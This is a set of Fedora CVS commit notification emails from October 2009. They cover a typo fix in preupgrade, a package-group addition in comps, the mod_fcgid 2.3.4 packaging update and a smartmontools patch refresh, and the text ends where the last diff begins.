commit 3ab181e2bcd08e8727ce205e6049944c4e2fd073
Author: Will Woods <wwoods at redhat.com>
Date:   Mon Oct 12 10:26:09 2009 -0400

    Fix typo in commit 112fc881

diff --git a/preupgrade-gtk.py b/preupgrade-gtk.py
index 2d56323..76252b7 100755
--- a/preupgrade-gtk.py
+++ b/preupgrade-gtk.py
@@ -236,7 +236,7 @@ class PreUpgradeController(Controller):
         Do the real action.
         '''
         self.ui.page_num = 2 # progress page
-        self.ui.assistant.set_current.page(self.ui.page_num)
+        self.ui.assistant.set_current_page(self.ui.page_num)
         self._do_main()
 
     def _find_cancel(self, widget):


Index: preupgrade.spec
===================================================================
RCS file: /cvs/pkgs/rpms/preupgrade/F-11/preupgrade.spec,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- preupgrade.spec	9 Oct 2009 21:18:45 -0000	1.19
+++ preupgrade.spec	12 Oct 2009 15:00:25 -0000	1.20
@@ -2,11 +2,12 @@
 Summary: Prepares a system for an upgrade
 Name: preupgrade
 Version: 1.1.1
-Release: 2%{?dist}
+Release: 3%{?dist}
 License: GPLv2+
 Group: System Environment/Base
 Source: https://fedorahosted.org/releases/p/r/preupgrade/%{name}-%{version}.tar.bz2
 Source1: http://mirrors.fedoraproject.org/releases.txt
+Patch1: preupgrade-1.1.1-fix-progress-page-typo.patch
 URL: https://fedorahosted.org/preupgrade/
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch: noarch
@@ -49,6 +50,7 @@ and then setting up your system to perfo
 
 %prep
 %setup -q
+%patch1 -p1
 
 %build
 # no op
@@ -81,7 +83,10 @@ rm -rf $RPM_BUILD_ROOT
 %{python_sitelib}/%{name}
 
 %changelog
-* Fri Oct  9 2009 Seth Vidal <skvidal at fedoraproject.org>
+* Mon Oct 12 2009 Will Woods <wwoods at redhat.com> - 1.1.1-3
+- Typo fix for bug 526208
+
+* Fri Oct  9 2009 Seth Vidal <skvidal at fedoraproject.org> - 1.1.1-2
 - require yum 3.2.24
 
 * Fri Oct 09 2009 Will Woods <wwoods at redhat.com> - 1.1.1-1



From wwoods at fedoraproject.org  Mon Oct 12 15:00:29 2009
From: wwoods at fedoraproject.org (Will Woods)
Date: Mon, 12 Oct 2009 15:00:29 +0000 (UTC)
Subject: rpms/preupgrade/devel preupgrade-1.1.1-fix-progress-page-typo.patch,
	NONE, 1.1 preupgrade.spec, 1.19, 1.20
Message-ID: <20091012150029.CE77D11C02A1@cvs1.fedora.phx.redhat.com>

Author: wwoods

Update of /cvs/pkgs/rpms/preupgrade/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32637

Modified Files:
	preupgrade.spec 
Added Files:
	preupgrade-1.1.1-fix-progress-page-typo.patch 
Log Message:
Typo fix for 526208

preupgrade-1.1.1-fix-progress-page-typo.patch:
 preupgrade-gtk.py |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE preupgrade-1.1.1-fix-progress-page-typo.patch ---
commit 3ab181e2bcd08e8727ce205e6049944c4e2fd073
Author: Will Woods <wwoods at redhat.com>
Date:   Mon Oct 12 10:26:09 2009 -0400

    Fix typo in commit 112fc881

diff --git a/preupgrade-gtk.py b/preupgrade-gtk.py
index 2d56323..76252b7 100755
--- a/preupgrade-gtk.py
+++ b/preupgrade-gtk.py
@@ -236,7 +236,7 @@ class PreUpgradeController(Controller):
         Do the real action.
         '''
         self.ui.page_num = 2 # progress page
-        self.ui.assistant.set_current.page(self.ui.page_num)
+        self.ui.assistant.set_current_page(self.ui.page_num)
         self._do_main()
 
     def _find_cancel(self, widget):


Index: preupgrade.spec
===================================================================
RCS file: /cvs/pkgs/rpms/preupgrade/devel/preupgrade.spec,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- preupgrade.spec	9 Oct 2009 21:23:34 -0000	1.19
+++ preupgrade.spec	12 Oct 2009 15:00:28 -0000	1.20
@@ -2,11 +2,12 @@
 Summary: Prepares a system for an upgrade
 Name: preupgrade
 Version: 1.1.1
-Release: 2%{?dist}
+Release: 3%{?dist}
 License: GPLv2+
 Group: System Environment/Base
 Source: https://fedorahosted.org/releases/p/r/preupgrade/%{name}-%{version}.tar.bz2
 Source1: http://mirrors.fedoraproject.org/releases.txt
+Patch1: preupgrade-1.1.1-fix-progress-page-typo.patch
 URL: https://fedorahosted.org/preupgrade/
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch: noarch
@@ -49,6 +50,7 @@ and then setting up your system to perfo
 
 %prep
 %setup -q
+%patch1 -p1
 
 %build
 # no op
@@ -81,7 +83,10 @@ rm -rf $RPM_BUILD_ROOT
 %{python_sitelib}/%{name}
 
 %changelog
-* Fri Oct  9 2009 Seth Vidal <skvidal at fedoraproject.org>
+* Mon Oct 12 2009 Will Woods <wwoods at redhat.com> - 1.1.1-3
+- Typo fix for bug 526208
+
+* Fri Oct  9 2009 Seth Vidal <skvidal at fedoraproject.org> - 1.1.1-2
 - require yum 3.2.24
 
 * Fri Oct 09 2009 Will Woods <wwoods at redhat.com> - 1.1.1-1



From wwoods at fedoraproject.org  Mon Oct 12 15:00:35 2009
From: wwoods at fedoraproject.org (Will Woods)
Date: Mon, 12 Oct 2009 15:00:35 +0000 (UTC)
Subject: rpms/preupgrade/F-12 preupgrade-1.1.1-fix-progress-page-typo.patch, 
	NONE, 1.1 preupgrade.spec, 1.19, 1.20
Message-ID: <20091012150035.4052A11C02A1@cvs1.fedora.phx.redhat.com>

Author: wwoods

Update of /cvs/pkgs/rpms/preupgrade/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32636

Modified Files:
	preupgrade.spec 
Added Files:
	preupgrade-1.1.1-fix-progress-page-typo.patch 
Log Message:
Typo fix for 526208

preupgrade-1.1.1-fix-progress-page-typo.patch:
 preupgrade-gtk.py |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE preupgrade-1.1.1-fix-progress-page-typo.patch ---
commit 3ab181e2bcd08e8727ce205e6049944c4e2fd073
Author: Will Woods <wwoods at redhat.com>
Date:   Mon Oct 12 10:26:09 2009 -0400

    Fix typo in commit 112fc881

diff --git a/preupgrade-gtk.py b/preupgrade-gtk.py
index 2d56323..76252b7 100755
--- a/preupgrade-gtk.py
+++ b/preupgrade-gtk.py
@@ -236,7 +236,7 @@ class PreUpgradeController(Controller):
         Do the real action.
         '''
         self.ui.page_num = 2 # progress page
-        self.ui.assistant.set_current.page(self.ui.page_num)
+        self.ui.assistant.set_current_page(self.ui.page_num)
         self._do_main()
 
     def _find_cancel(self, widget):


Index: preupgrade.spec
===================================================================
RCS file: /cvs/pkgs/rpms/preupgrade/F-12/preupgrade.spec,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- preupgrade.spec	9 Oct 2009 21:23:43 -0000	1.19
+++ preupgrade.spec	12 Oct 2009 15:00:32 -0000	1.20
@@ -2,11 +2,12 @@
 Summary: Prepares a system for an upgrade
 Name: preupgrade
 Version: 1.1.1
-Release: 2%{?dist}
+Release: 3%{?dist}
 License: GPLv2+
 Group: System Environment/Base
 Source: https://fedorahosted.org/releases/p/r/preupgrade/%{name}-%{version}.tar.bz2
 Source1: http://mirrors.fedoraproject.org/releases.txt
+Patch1: preupgrade-1.1.1-fix-progress-page-typo.patch
 URL: https://fedorahosted.org/preupgrade/
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildArch: noarch
@@ -49,6 +50,7 @@ and then setting up your system to perfo
 
 %prep
 %setup -q
+%patch1 -p1
 
 %build
 # no op
@@ -81,7 +83,10 @@ rm -rf $RPM_BUILD_ROOT
 %{python_sitelib}/%{name}
 
 %changelog
-* Fri Oct  9 2009 Seth Vidal <skvidal at fedoraproject.org>
+* Mon Oct 12 2009 Will Woods <wwoods at redhat.com> - 1.1.1-3
+- Typo fix for bug 526208
+
+* Fri Oct  9 2009 Seth Vidal <skvidal at fedoraproject.org> - 1.1.1-2
 - require yum 3.2.24
 
 * Fri Oct 09 2009 Will Woods <wwoods at redhat.com> - 1.1.1-1



From cweyl at fedoraproject.org  Mon Oct 12 15:02:24 2009
From: cweyl at fedoraproject.org (Chris Weyl)
Date: Mon, 12 Oct 2009 15:02:24 +0000 (UTC)
Subject: comps comps-f11.xml.in, 1.306, 1.307 comps-f12.xml.in, 1.150,
	1.151 comps-f13.xml.in, 1.36, 1.37
Message-ID: <20091012150224.C713C11C029D@cvs1.fedora.phx.redhat.com>

Author: cweyl

Update of /cvs/extras/comps
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1050

Modified Files:
	comps-f11.xml.in comps-f12.xml.in comps-f13.xml.in 
Log Message:
add vim-perl-tt2 to Perl devel group



Index: comps-f11.xml.in
===================================================================
RCS file: /cvs/extras/comps/comps-f11.xml.in,v
retrieving revision 1.306
retrieving revision 1.307
diff -u -p -r1.306 -r1.307
--- comps-f11.xml.in	8 Oct 2009 14:39:22 -0000	1.306
+++ comps-f11.xml.in	12 Oct 2009 15:02:21 -0000	1.307
@@ -4451,6 +4451,7 @@
       <packagereq type="optional">parrot</packagereq>
       <packagereq type="optional">perl-Task-Catalyst</packagereq>
       <packagereq type="optional">vim-perl-support</packagereq>
+      <packagereq type="optional">vim-perl-tt2</packagereq>
     </packagelist>
   </group>
   <group>


Index: comps-f12.xml.in
===================================================================
RCS file: /cvs/extras/comps/comps-f12.xml.in,v
retrieving revision 1.150
retrieving revision 1.151
diff -u -p -r1.150 -r1.151
--- comps-f12.xml.in	8 Oct 2009 14:39:22 -0000	1.150
+++ comps-f12.xml.in	12 Oct 2009 15:02:22 -0000	1.151
@@ -4674,6 +4674,7 @@
       <packagereq type="optional">parrot</packagereq>
       <packagereq type="optional">perl-Task-Catalyst</packagereq>
       <packagereq type="optional">vim-perl-support</packagereq>
+      <packagereq type="optional">vim-perl-tt2</packagereq>
     </packagelist>
   </group>
   <group>


Index: comps-f13.xml.in
===================================================================
RCS file: /cvs/extras/comps/comps-f13.xml.in,v
retrieving revision 1.36
retrieving revision 1.37
diff -u -p -r1.36 -r1.37
--- comps-f13.xml.in	8 Oct 2009 14:39:23 -0000	1.36
+++ comps-f13.xml.in	12 Oct 2009 15:02:23 -0000	1.37
@@ -4642,6 +4642,7 @@
       <packagereq type="optional">parrot</packagereq>
       <packagereq type="optional">perl-Task-Catalyst</packagereq>
       <packagereq type="optional">vim-perl-support</packagereq>
+      <packagereq type="optional">vim-perl-tt2</packagereq>
     </packagelist>
   </group>
   <group>



From pghmcfc at fedoraproject.org  Mon Oct 12 15:04:41 2009
From: pghmcfc at fedoraproject.org (Paul Howarth)
Date: Mon, 12 Oct 2009 15:04:41 +0000 (UTC)
Subject: rpms/mod_fcgid/devel mod_fcgid-2.3.4-fixconf-shellbang.patch, NONE, 
	1.1 .cvsignore, 1.5, 1.6 fastcgi.te, 1.7, 1.8 fcgid.conf, 1.4,
	1.5 mod_fcgid-2.1-README.RPM, 1.2,
	1.3 mod_fcgid-2.1-README.SELinux, 1.5, 1.6 mod_fcgid.spec, 1.21,
	1.22 sources, 1.6, 1.7 configuration.htm, 1.3, NONE doc.htm, 1.3, NONE
Message-ID: <20091012150441.5AD0711C00DB@cvs1.fedora.phx.redhat.com>

Author: pghmcfc

Update of /cvs/pkgs/rpms/mod_fcgid/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1108

Modified Files:
	.cvsignore fastcgi.te fcgid.conf mod_fcgid-2.1-README.RPM 
	mod_fcgid-2.1-README.SELinux mod_fcgid.spec sources 
Added Files:
	mod_fcgid-2.3.4-fixconf-shellbang.patch 
Removed Files:
	configuration.htm doc.htm 
Log Message:
- Update to 2.3.4
- Upstream moved to apache.org
- License changed to ASL 2.0
- Configuration directives have all been renamed - use fixconf.sed script to fix if necessary
- Lots of documentation changes
- Renumber sources
- Don't defer to mod_fastcgi if both are present
- Build SELinux policy module for EL-5; support in EL-5.3 is incomplete and will be fixed in EL-5.5 (#519369)
- Drop aliases httpd_sys_content_r{a,o,w}_t -> httpd_fastcgi_content_r{a,o,w}_t
  from pre-2.5 SElinux policy module as these types aren't defined there
- Drop gawk buildreq


mod_fcgid-2.3.4-fixconf-shellbang.patch:
 fixconf.sed |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE mod_fcgid-2.3.4-fixconf-shellbang.patch ---
--- mod_fcgid-2.3.4/build/fixconf.sed	2009-10-07 04:16:08.000000000 +0100
+++ mod_fcgid-2.3.4/build/fixconf.sed	2009-10-12 09:50:14.570448865 +0100
@@ -1,4 +1,4 @@
-#!/usr/bin/sed -f
+#!/bin/sed -f
 #
 # Licensed to the Apache Software Foundation (ASF) under one or more
 # contributor license agreements.  See the NOTICE file distributed with


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/mod_fcgid/devel/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	15 Sep 2007 16:01:29 -0000	1.5
+++ .cvsignore	12 Oct 2009 15:04:40 -0000	1.6
@@ -1 +1 @@
-mod_fcgid.2.2.tar.gz
+mod_fcgid-2.3.4.tar.bz2


Index: fastcgi.te
===================================================================
RCS file: /cvs/pkgs/rpms/mod_fcgid/devel/fastcgi.te,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- fastcgi.te	24 Oct 2008 14:30:59 -0000	1.7
+++ fastcgi.te	12 Oct 2009 15:04:40 -0000	1.8
@@ -8,16 +8,13 @@
 # Previous versions of this policy module used a separate domain, httpd_fastcgi_script_t,
 # which is now an alias for httpd_sys_script_t.
 
-policy_module(fastcgi, 0.1.10)
+policy_module(fastcgi, 0.1.11)
 
 require {
 	type devpts_t;
 	type httpd_t;
 	type httpd_log_t;
 	type httpd_sys_content_t;
-	type httpd_sys_content_ra_t;
-	type httpd_sys_content_ro_t;
-	type httpd_sys_content_rw_t;
 	type httpd_sys_script_exec_t;
 	type httpd_sys_script_ra_t;
 	type httpd_sys_script_ro_t;
@@ -29,9 +26,6 @@ require {
 
 # Type aliases for contexts used with older policy modules
 typealias httpd_sys_content_t     alias httpd_fastcgi_content_t;
-typealias httpd_sys_content_ra_t  alias httpd_fastcgi_content_ra_t;
-typealias httpd_sys_content_ro_t  alias httpd_fastcgi_content_ro_t;
-typealias httpd_sys_content_rw_t  alias httpd_fastcgi_content_rw_t;
 typealias httpd_sys_script_exec_t alias httpd_fastcgi_script_exec_t;
 typealias httpd_sys_script_ra_t   alias httpd_fastcgi_script_ra_t;
 typealias httpd_sys_script_ro_t   alias httpd_fastcgi_script_ro_t;


Index: fcgid.conf
===================================================================
RCS file: /cvs/pkgs/rpms/mod_fcgid/devel/fcgid.conf,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- fcgid.conf	26 May 2009 15:52:47 -0000	1.4
+++ fcgid.conf	12 Oct 2009 15:04:40 -0000	1.5
@@ -1,16 +1,14 @@
 # This is the Apache server configuration file for providing FastCGI support
 # through mod_fcgid
 #
-# Documentation is available at http://fastcgi.coremail.cn/doc.htm
+# Documentation is available at
+# http://httpd.apache.org/mod_fcgid/mod/mod_fcgid.html
 
 LoadModule fcgid_module modules/mod_fcgid.so
 
 # Use FastCGI to process .fcg .fcgi & .fpl scripts
-# Don't do this if mod_fastcgi is present, as it will try to do the same thing
-<IfModule !mod_fastcgi.c>
-    AddHandler fcgid-script fcg fcgi fpl
-</IfModule>
+AddHandler fcgid-script fcg fcgi fpl
 
 # Sane place to put sockets and shared memory file
-SocketPath /var/run/mod_fcgid
-SharememPath /var/run/mod_fcgid/fcgid_shm
+FcgidIPCDir /var/run/mod_fcgid
+FcgidProcessTableFile /var/run/mod_fcgid/fcgid_shm


Index: mod_fcgid-2.1-README.RPM
===================================================================
RCS file: /cvs/pkgs/rpms/mod_fcgid/devel/mod_fcgid-2.1-README.RPM,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- mod_fcgid-2.1-README.RPM	26 Feb 2009 12:50:40 -0000	1.2
+++ mod_fcgid-2.1-README.RPM	12 Oct 2009 15:04:40 -0000	1.3
@@ -3,15 +3,10 @@ Using the mod_fcgid RPM Package
 
 This mod_fcgid package includes a configuration file
 /etc/httpd/conf.d/fcgid.conf that ensures that the module is loaded and
-added as the handler for .fcg, .fcgi, and .fpl applications (provided
-mod_fastcgi in not already loaded, in which case you will need to decide which
-module should handle which types of application).
+added as the handler for .fcg, .fcgi, and .fpl applications.
 
-So far the module package has only been tested in conjunction with the "moin"
-wiki application. Further feedback regarding other applications is welcome.
-
-Setting up moin with mod_fcgid
-==============================
+Example: setting up moin with mod_fcgid
+=======================================
 
 Setting up moin with mod_fcgid is very similar to setting it up as a regular
 CGI application.
@@ -37,7 +32,7 @@ CGI application.
    /etc/httpd/conf.d/mywiki.conf
 
     # Wiki application data common to all wiki instances
-    Alias /moin_static182 "/usr/share/moin/htdocs/"
+    Alias /moin_static185 "/usr/share/moin/htdocs/"
     <Directory "/usr/share/moin/htdocs/">
       Options Indexes FollowSymLinks
       AllowOverride None


Index: mod_fcgid-2.1-README.SELinux
===================================================================
RCS file: /cvs/pkgs/rpms/mod_fcgid/devel/mod_fcgid-2.1-README.SELinux,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- mod_fcgid-2.1-README.SELinux	7 Apr 2009 09:32:25 -0000	1.5
+++ mod_fcgid-2.1-README.SELinux	12 Oct 2009 15:04:40 -0000	1.6
@@ -4,8 +4,7 @@ Using mod_fcgid with SELinux in Fedora C
 Versions of this package built for Fedora Core 5, 6, or 7 include an SELinux
 policy module to support FastCGI applications. Later Fedora releases and Red
 Hat Enterprise Linux 5.3 onwards include the policy in the main selinux-policy
-package and do not require the separate module. This has only been tested so
-far with moin, so feedback from other applications is welcome.
+package and do not require the separate module.
 
 The module source (fastcgi.{fc,te}) is included for reference as documentation
 in the package.


Index: mod_fcgid.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mod_fcgid/devel/mod_fcgid.spec,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- mod_fcgid.spec	25 Jul 2009 14:45:26 -0000	1.21
+++ mod_fcgid.spec	12 Oct 2009 15:04:41 -0000	1.22
@@ -1,8 +1,8 @@
 # Fedora 5, 6, and 7 versions includes SELinux policy module package
 # Fedora 8 and 9 versions include policy in errata selinux-policy releases
 # Fedora 10 onwards include policy in standard selinux-policy releases
-# RHEL 5.3 onwards include policy in standard selinux-policy releases
-%if 0%{?fedora} < 5 || 0%{?fedora} > 7
+# RHEL 5.5 onwards will include policy in standard selinux-policy releases
+%if 0%{?fedora}%{?rhel} < 5 || 0%{?fedora} > 7
 %global selinux_module 0
 %global selinux_types %{nil}
 %global selinux_variants %{nil}
@@ -15,31 +15,30 @@
 %endif
 
 Name:		mod_fcgid
-Version:	2.2
-Release:	13%{?dist}
-Summary:	Apache2 module for high-performance server-side scripting 
+Version:	2.3.4
+Release:	1%{?dist}
+Summary:	FastCGI interface module for Apache 2
 Group:		System Environment/Daemons
-License:	GPL+
-URL:		http://fastcgi.coremail.cn/
-Source0:	http://downloads.sf.net/mod-fcgid/mod_fcgid.%{version}.tar.gz
+License:	ASL 2.0
+URL:		http://httpd.apache.org/mod_fcgid/
+Source0:	http://www.apache.org/dist/httpd/mod_fcgid/mod_fcgid-%{version}.tar.bz2
 Source1:	fcgid.conf
-Source2:	fastcgi.te
-Source3:	fastcgi.fc
-Source4:	mod_fcgid-2.1-README.RPM
-Source5:	http://fastcgi.coremail.cn/doc.htm
-Source6:	http://fastcgi.coremail.cn/configuration.htm
-Source7:	mod_fcgid-2.1-README.SELinux
-Source8:	fastcgi-2.5.te
-Patch0:		mod_fcgid.2.1-docurls.patch
+Source2:	mod_fcgid-2.1-README.RPM
+Source3:	mod_fcgid-2.1-README.SELinux
+Source10:	fastcgi.te
+Source11:	fastcgi-2.5.te
+Source12:	fastcgi.fc
+Patch0:		mod_fcgid-2.3.4-fixconf-shellbang.patch
 BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
-BuildRequires:	gawk, httpd-devel >= 2.0, pkgconfig
+BuildRequires:	httpd-devel >= 2.0, pkgconfig
 Requires:	httpd-mmn = %([ -a %{_includedir}/httpd/.mmn ] && %{__cat} %{_includedir}/httpd/.mmn || echo missing)
 # Make sure that selinux-policy is sufficiently up-to-date if it's installed
-%if "%{?rhel}" == "5"
-Conflicts:	selinux-policy < 2.4.6-203.el5
-# No provide here because selinux-policy >= 2.4.6-203.el5 does the providing
-Obsoletes:	mod_fcgid-selinux <= %{version}-%{release}
-%endif
+## FastCGI policy properly incorporated into EL 5.5 (not yet available)
+#%if "%{?rhel}" == "5"
+#Conflicts:	selinux-policy < 2.4.6-257.el5
+## No provide here because selinux-policy >= 2.4.6-203.el5 does the providing
+#Obsoletes:	mod_fcgid-selinux <= %{version}-%{release}
+#%endif
 %if "%{?fedora}" == "8"
 Conflicts:	selinux-policy < 3.0.8-123.fc8
 %endif
@@ -79,26 +78,23 @@ SELinux policy module supporting FastCGI
 %endif
 
 %prep
-%setup -q -n mod_fcgid.%{version}
+%setup -q
 %{__cp} -p %{SOURCE1} fcgid.conf
+%{__cp} -p %{SOURCE2} README.RPM
+%{__cp} -p %{SOURCE3} README.SELinux
 %if 0%{?selinux_policynum} < 20501
-%{__cp} -p %{SOURCE2} fastcgi.te
+%{__cp} -p %{SOURCE10} fastcgi.te
 %else
-%{__cp} -p %{SOURCE8} fastcgi.te
+%{__cp} -p %{SOURCE11} fastcgi.te
 %endif
-%{__cp} -p %{SOURCE3} fastcgi.fc
-%{__cp} -p %{SOURCE4} README.RPM
-%{__cp} -p %{SOURCE5} directives.htm
-%{__cp} -p %{SOURCE6} configuration.htm
-%{__cp} -p %{SOURCE7} README.SELinux
+%{__cp} -p %{SOURCE12} fastcgi.fc
+
+# Fix shellbang in fixconf script for our location of sed
 %patch0 -p1
-%{__sed} -i -e 's/\r$//' directives.htm configuration.htm
-/usr/bin/iconv -f gb2312 -t utf8 < configuration.htm > configuration.htm.utf8
-%{__mv} -f configuration.htm.utf8 configuration.htm
 
 %build
-topdir=$(/usr/bin/dirname $(/usr/sbin/apxs -q exp_installbuilddir))
-%{__make} top_dir=${topdir}
+APXS=/usr/sbin/apxs ./configure.apxs
+%{__make}
 %if %{selinux_module}
 for selinuxvariant in %{selinux_variants}
 do
@@ -110,15 +106,13 @@ done
 
 %install
 %{__rm} -rf %{buildroot}
-topdir=$(/usr/bin/dirname $(/usr/sbin/apxs -q exp_installbuilddir))
-%{__make} \
-	top_dir=${topdir} \
-	DESTDIR=%{buildroot} \
-	MKINSTALLDIRS="%{__mkdir_p}" \
-	install
+%{__make} DESTDIR=%{buildroot} MKINSTALLDIRS="%{__mkdir_p}" install
 %{__install} -D -m 644 fcgid.conf %{buildroot}%{_sysconfdir}/httpd/conf.d/fcgid.conf
 %{__install} -d -m 755 %{buildroot}%{_localstatedir}/run/mod_fcgid
 
+# Include the manual as %doc, don't need it elsewhere
+%{__rm} -rf %{buildroot}%{_var}/www/manual
+
 # Install SELinux policy modules
 %if %{selinux_module}
 for selinuxvariant in %{selinux_variants}
@@ -161,8 +155,10 @@ exit 0
 
 %files
 %defattr(-,root,root,-)
-%doc ChangeLog AUTHOR COPYING configuration.htm directives.htm
-%doc README.RPM
+# mod_fcgid.html.en is explicitly encoded as ISO-8859-1
+%doc CHANGES-FCGID LICENSE-FCGID NOTICE-FCGID README-FCGID STATUS-FCGID
+%doc docs/manual/mod/mod_fcgid.html.en modules/fcgid/ChangeLog
+%doc build/fixconf.sed
 %{_libdir}/httpd/modules/mod_fcgid.so
 %config(noreplace) %{_sysconfdir}/httpd/conf.d/fcgid.conf
 %dir %attr(0755,apache,apache) %{_localstatedir}/run/mod_fcgid/
@@ -175,6 +171,29 @@ exit 0
 %endif
 
 %changelog
+* Mon Oct 12 2009 Paul Howarth <paul at city-fan.org> 2.3.4-1
+- Update to 2.3.4 (configuration directives changed again)
+- Add fixconf.sed script for config file directives update
+
+* Fri Sep 25 2009 Paul Howarth <paul at city-fan.org> 2.3.1-2.20090925svn818270
+- Update to svn revision 818270
+- DESTDIR and header detection patches upstreamed
+- Build SELinux policy module for EL-5; support in EL-5.3 is incomplete and
+  will be fixed in EL-5.5 (#519369)
+- Drop aliases httpd_sys_content_r{a,o,w}_t -> httpd_fastcgi_content_r{a,o,w}_t
+  from pre-2.5 SElinux policy module as these types aren't defined there
+
+* Wed Sep 23 2009 Paul Howarth <paul at city-fan.org> 2.3.1-1.20090923svn817978
+- Update to post-2.3.1 svn snapshot
+- Upstream moved to apache.org
+- License changed to ASL 2.0
+- Use FCGID-prefixed config file options (old ones deprecated)
+- Lots of documentation changes
+- Renumber sources
+- Don't defer to mod_fastcgi if both are present
+- Drop gawk buildreq
+- Add patches fixing RPM build issues (DESTDIR support, header detection)
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.2-13
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/mod_fcgid/devel/sources,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- sources	15 Sep 2007 16:01:29 -0000	1.6
+++ sources	12 Oct 2009 15:04:41 -0000	1.7
@@ -1 +1 @@
-ce7d7b16e69643dbd549d43d85025983  mod_fcgid.2.2.tar.gz
+de1af384672a4bf719038e79be029c09  mod_fcgid-2.3.4.tar.bz2


--- configuration.htm DELETED ---


--- doc.htm DELETED ---



From mhlavink at fedoraproject.org  Mon Oct 12 15:07:07 2009
From: mhlavink at fedoraproject.org (Michal Hlavinka)
Date: Mon, 12 Oct 2009 15:07:07 +0000 (UTC)
Subject: rpms/smartmontools/devel smartmontools-5.38-lowcap.patch, 1.7,
	1.8 smartmontools.spec, 1.63, 1.64
Message-ID: <20091012150707.56DEA11C00DB@cvs1.fedora.phx.redhat.com>

Author: mhlavink

Update of /cvs/extras/rpms/smartmontools/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2000

Modified Files:
	smartmontools-5.38-lowcap.patch smartmontools.spec 
Log Message:
* Mon Oct 12 2009 Michal Hlavinka <mhlavink at redhat.com> - 1:5.38-21
- warn about disabled mail only if capabilities are enabled


smartmontools-5.38-lowcap.patch:
 Makefile.am  |    2 -
 configure.in |   34 +++++++++++++++++++++++++++++++++
 smartd.8.in  |    6 +++++
 smartd.cpp   |   60 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++--
 4 files changed, 99 insertions(+), 3 deletions(-)

Index: smartmontools-5.38-lowcap.patch
===================================================================
RCS file: /cvs/extras/rpms/smartmontools/devel/smartmontools-5.38-lowcap.patch,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- smartmontools-5.38-lowcap.patch	9 Oct 2009 09:02:24 -0000	1.7
+++ smartmontools-5.38-lowcap.patch	12 Oct 2009 15:07:07 -0000	1.8
@@ -1,6 +1,6 @@
 diff -up smartmontools-5.38/configure.in.lowcap smartmontools-5.38/configure.in
---- smartmontools-5.38/configure.in.lowcap	2009-10-09 10:19:22.395700024 +0200
-+++ smartmontools-5.38/configure.in	2009-10-09 10:19:22.431698988 +0200
+--- smartmontools-5.38/configure.in.lowcap	2009-10-12 17:00:53.889673785 +0200
++++ smartmontools-5.38/configure.in	2009-10-12 17:00:53.896678618 +0200
 @@ -143,6 +143,40 @@ if test "$with_selinux" = "yes"; then
  	AC_DEFINE(WITH_SELINUX, [1], [Define to 1 if SELinux support is enabled])
  fi
@@ -44,7 +44,7 @@ diff -up smartmontools-5.38/configure.in
      if test "$mandir" = '${prefix}/man'; then
 diff -up smartmontools-5.38/Makefile.am.lowcap smartmontools-5.38/Makefile.am
 --- smartmontools-5.38/Makefile.am.lowcap	2007-04-01 18:49:44.000000000 +0200
-+++ smartmontools-5.38/Makefile.am	2009-10-09 10:19:22.434699065 +0200
++++ smartmontools-5.38/Makefile.am	2009-10-12 17:00:53.896678618 +0200
 @@ -35,7 +35,7 @@ smartd_SOURCES =  smartd.cpp      \
                    utility.cpp     \
                    utility.h
@@ -56,7 +56,7 @@ diff -up smartmontools-5.38/Makefile.am.
  EXTRA_smartd_SOURCES = os_darwin.cpp    \
 diff -up smartmontools-5.38/smartd.8.in.lowcap smartmontools-5.38/smartd.8.in
 --- smartmontools-5.38/smartd.8.in.lowcap	2008-03-04 23:09:47.000000000 +0100
-+++ smartmontools-5.38/smartd.8.in	2009-10-09 10:19:22.439699030 +0200
++++ smartmontools-5.38/smartd.8.in	2009-10-12 17:00:53.902672971 +0200
 @@ -145,6 +145,12 @@ input. This is useful for commands like:
  to perform quick and simple checks without a configuration file.
  
@@ -71,8 +71,8 @@ diff -up smartmontools-5.38/smartd.8.in.
  Runs \fBsmartd\fP in "debug" mode. In this mode, it displays status
  information to STDOUT rather than logging it to SYSLOG and does not
 diff -up smartmontools-5.38/smartd.cpp.lowcap smartmontools-5.38/smartd.cpp
---- smartmontools-5.38/smartd.cpp.lowcap	2009-10-09 10:19:22.312699527 +0200
-+++ smartmontools-5.38/smartd.cpp	2009-10-09 10:43:45.294698988 +0200
+--- smartmontools-5.38/smartd.cpp.lowcap	2009-10-12 17:00:53.883672847 +0200
++++ smartmontools-5.38/smartd.cpp	2009-10-12 17:04:18.600547796 +0200
